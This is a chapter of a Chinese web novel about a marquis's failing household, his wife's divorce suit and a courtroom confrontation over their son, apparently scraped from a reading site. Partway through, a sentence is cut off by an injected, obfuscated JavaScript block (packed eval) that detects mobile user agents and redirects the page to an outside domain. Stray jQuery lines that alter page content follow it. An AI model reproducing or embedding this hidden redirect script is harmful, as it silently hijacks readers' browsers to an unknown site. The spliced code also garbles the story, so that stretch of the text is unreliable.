默认冷灰
24号文字
方正启体

6. 第六章

作者:辛宸本书字数:K更新时间:
    “开门!开门!”


    衙差敲打着承恩侯府的大门,红漆大门紧闭,兽环被敲击得砰砰作响,半天才听到里面的人回应。


    “谁啊?我家老爷最近养病在家,不见外客!”


    门房小心翼翼地拉开条门缝,朝外望着。


    人都说宰相门房七品官,他家侯爷怎么也是一品侯爵,还是当今贵妃的亲哥哥,两个小皇子的亲舅舅,放在以前,他这个门房连七品官都看不起。


    可是此一时彼一时,自从林夫人搬出了承恩侯府,护国公的人凶神恶煞地上门拉走了她的嫁妆,几乎搬空了侯府的仓库,就这样还欠了近一半的数目。


    承恩侯不得不向宫中的唐贵妃求助,可护国公夫人也进宫找太后告状,哪怕当初的赐婚是林夫人自己求来的,可承恩侯和唐贵妃能上位也没少过林家的助力,如今一朝得势就想过河拆桥,让原本就对唐贵妃不满的太后更是不客气地敲打了她一番,让她不得不出钱替哥哥填补府中亏空,偿还他花掉的林夫人嫁妆。


    不当家不知柴米油盐贵,哪怕是出身寒门的承恩侯,自从娶了林夫人,就再也没有数着铜板过日子,甚至出门都不带银钱这种“阿堵物”,反正他走到哪里都能签单记账,回头自有林夫人负责给人结账付款。


    在林夫人离开之后,他才发现,看似花团锦簇、富丽堂皇的承恩侯府,那就是个吞金兽花架子,所有的门面功夫和锦衣玉食、奴婢成群,都得用他最看不上的“阿堵物”来支撑。


    结果不到一个月时间,府里的奴仆就走了一大半,侍卫也只剩下了二十来个,这还是承恩侯卖了些字画给他们发了饷才留下的。


    于是林若风想来揍承恩侯的时候,那更是如入无人之境,就算有看到他的,也没有敢上前去阻拦的。


    就那点儿银子,让他们卖命,不值得、不值得!


    毕竟,林若风揍承恩侯那是替妹妹出气,揍再狠也不会打死,还会有御医来疗伤治病,可他们若是被打伤甚至打残,承恩侯可不会管他们以后怎么生活。


    光是看他挨打之后,还迁怒并杖责了“护卫不力”的几个侍卫,就知道这位的德行,可远不是以前树立的谦谦君子人设。


    尤其被打得不敢出门,告病在家后,更是府门紧闭,谢绝访客,免得那些无聊得打探消息的人成天上门来看笑话幸灾乐祸。


    只是谢客这种事,也不是什么轻松活,以前有人上门求见还要给门房塞点银子让他及时通传,现在那些人上门被拒绝还要啐他一口,更是让他不愿开门,就算有人敲门也当听不见。


    直到这敲门人不屈不挠,一个劲砸门砸得他无法安生,才开门瞧一瞧准备继续关门,不料看到的竟是个衙差,正是燕京府府衙的差役,在以前他连眼角都懒得看一眼的货色,现在居然嚣张地敢砸侯府的大门,也不怕侯爷一个帖子送到知府处,罢了他的差事还赏他三十大板。


    那衙差一眼就看出了门房眼中的鄙夷之色,没好气地说道:“现有燕京林氏女递上诉状,要求与承恩侯和离,府尊大人已经接下状子,三日后辰时三刻开堂。你且禀告你家侯爷,若是不能按时上堂,府尊便以缺席判定,莫要怪我家大人未曾提前告知哦!”


    “什么?”门房大惊失色,“燕京府竟然敢接承恩侯和离的诉状?这可是皇上赐婚的姻缘啊!”


    衙差翻了个白眼,“若是换了你家侯爷,敢不接护国公府送来的状子吗?反正话我已经带到,你们侯爷去不去,就是你们的事了,告辞!”


    说完,他转身就走,一刻都不多留。


    宠妾灭妻、重庶轻嫡,从来都是乱家之兆,这侯府做事如此不讲究,软饭硬吃还当白眼狼,如今京城有哪个不知,就算他妹子是宠妃,燕京府也不敢不接护国公的状子啊!


    相比承恩侯,护国公就算交回了兵权,可那一家子武夫,都是混不吝敢直接抡拳头打人的。


    没见就连承恩侯被打了,皇上也不过是将护国公世子禁足一月,罚俸半年,不痛不痒,根本没有偏袒承恩侯这个小舅子的意思,其他人哪里还敢跟护国公府的人对着干。


    别看人家交回了兵权,可圣恩一点儿都没少。


    也就算承恩侯那傻子以为没了兵权的护国公府就成了没有爪牙的老虎,想要算计人家女儿,翻身做主,结果这不就翻身不成变翻车了吗?


    承恩侯听到下人的禀告后,立刻觉得更加头疼起来。


    “父亲,不如让孩儿前去向嫡母请罪。父亲只是不忍孩儿流落在外,骨肉分离,方才认回孩儿。若是嫡母怪罪,要打要罚,孩儿接着便是。实在不行……”


    周文渊低头垂泪,哽咽着说道:“父亲便将孩儿逐出家门,权当陌路便是。若能让嫡母出气,不再误会父亲,孩儿……便是死了,也只当报答父亲的生恩……”


    承恩侯心疼地看着这个儿子,明明比唐铭柯还要大了三岁多,已经近十岁的孩子,现在看起来却比唐铭柯高不了多少,瘦瘦小小,可怜巴巴,与他如出一辙的面容,仿佛他童年的翻版,让他顿时想起了自己艰苦的童年时代,顿时代入情绪,将心疼自己的感情转移到了这个可怜的孩子身上。


    “文渊,你不必如此。为父既然找到了你,自然会让你认祖归宗。你生母本是我发妻,虽未上族谱,却是为父在贫贱时的知音,可惜在林家逼婚之时,她为了我的前程,隐瞒怀孕之事,离我而去。想不到这一却就是天人永隔,只是苦了你在外飘零十载。”


    “林氏既然要与我和离,那你以后就是我的嫡长子,便是告到皇上面前,我也不会再向林家屈服。”


    周文渊,哦不,唐文渊感激涕零,满眼孺慕之情地看着他,“多谢父亲。只是铭弟也是父亲的儿子,父亲还是将他带回府中吧!”


    承恩侯一想起唐铭柯就生气,“那个逆子,自愿出族,你还提他做甚!”


    唐文渊小心地说道:“可若是他跟着母亲,另立门户,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716370|173729||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    若是再改嫁认他人为父,以后岂不是要被人笑话父亲和我们唐家……”


    承恩侯皱起眉来,“那就等上堂之时,我再向林氏说明,要那逆子归家。他生是我唐家子,就算死,也是我唐家鬼,岂能由得他逆子任性!”


    三日后,燕京府衙大堂之上,承恩侯这话一说出口,立刻就引得林夫人柳眉倒竖,朝着他呸了一口。


    “唐靖远!你当初骗我说家中无妻无子,我才向皇上求得赐婚,给你长脸。谁想你竟然还藏了怀孕通房,养下这么大个儿子!”


    “我嫁给你时,你连一百两聘金都拿不出来,全靠我陪嫁撑起家门。我与你的婚书可有话在先,三年无子方可纳妾,若有违背,当净身出户!”


    “我为你生儿育女,你竟然收买我身边的丫鬟婆子想置我于死地,你还有什么脸面来跟我要铭哥儿?你不是怀疑他不是你亲儿子吗?你亲儿子就在你身边,甭想打我铭哥儿的主意!”


    承恩侯没想到林夫人竟然如此不顾脸面,当堂开骂,气得涨红了脸,“我从未说过铭哥儿不是我亲生子。更何况,他是经过册封的承恩侯世子,岂能跟你?”


    “呸!”林夫人白了他一眼,“交给你?让你再打死他一次?做梦!”


    承恩侯额头青筋直跳,“是那逆子犯错,我罚他也是为他好。你若是执意如此,我便以不孝之名将他除族,让他永不能踏入仕途半步!”


    “你敢!”林夫人大怒。


    承恩侯昂起脖子,“我有何不敢?他是我儿子,我便是当真打死他,也是他应受的……”


    “父亲此言差矣。”唐铭柯拦住了想要上前撕了承恩侯的母亲,抬头望向承恩侯,“父亲若要儿子死,敢问儿子所犯何错?”


    承恩侯冷哼道:“你顽劣胡闹,害你母亲早产不说,还不守家规,火烧宗祠,挑拨父母关系,唆使你母亲与我和离……如此无法无天,大逆不道之子,我便是亲手打死你,也免得你长大以后为祸更甚。”


    唐铭柯看着他冷厉的眼神,小小的身躯不但没有畏缩后退,反而从容说道:“孩儿曾读圣人书,子曰‘小杖则受,大杖则走。委身侍暴,陷父于不义,非孝也!’(注1)”


    “圣人都说了,若父有过,子当几谏。非父命皆当盲从。若父行暴虐,子不谏止,便是纵父成恶,这才是真正不孝之过。”


    “父亲若命子亡,是逆天理、悖人伦之大过,子当进言谏诤,岂可愚孝顺从,反而令父亲陷于不义之地?”


    他冷静地看着已经目瞪口呆的承恩侯,一字一顿地说道:


    “若是父亲定要杀我这个逆子,便是要行逆天理、悖人伦之事,我若顺从赴死,陷父亲于不义,才是真正的不孝。”


    “父亲口口声声说我烧毁祠堂,可不见当日我也差点被烧死在祠堂,明明是有人要杀我害我,父亲却执意说我的是逆子,不知在唐家列祖列宗眼中,到底谁才是真正的——”


    “逆子?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)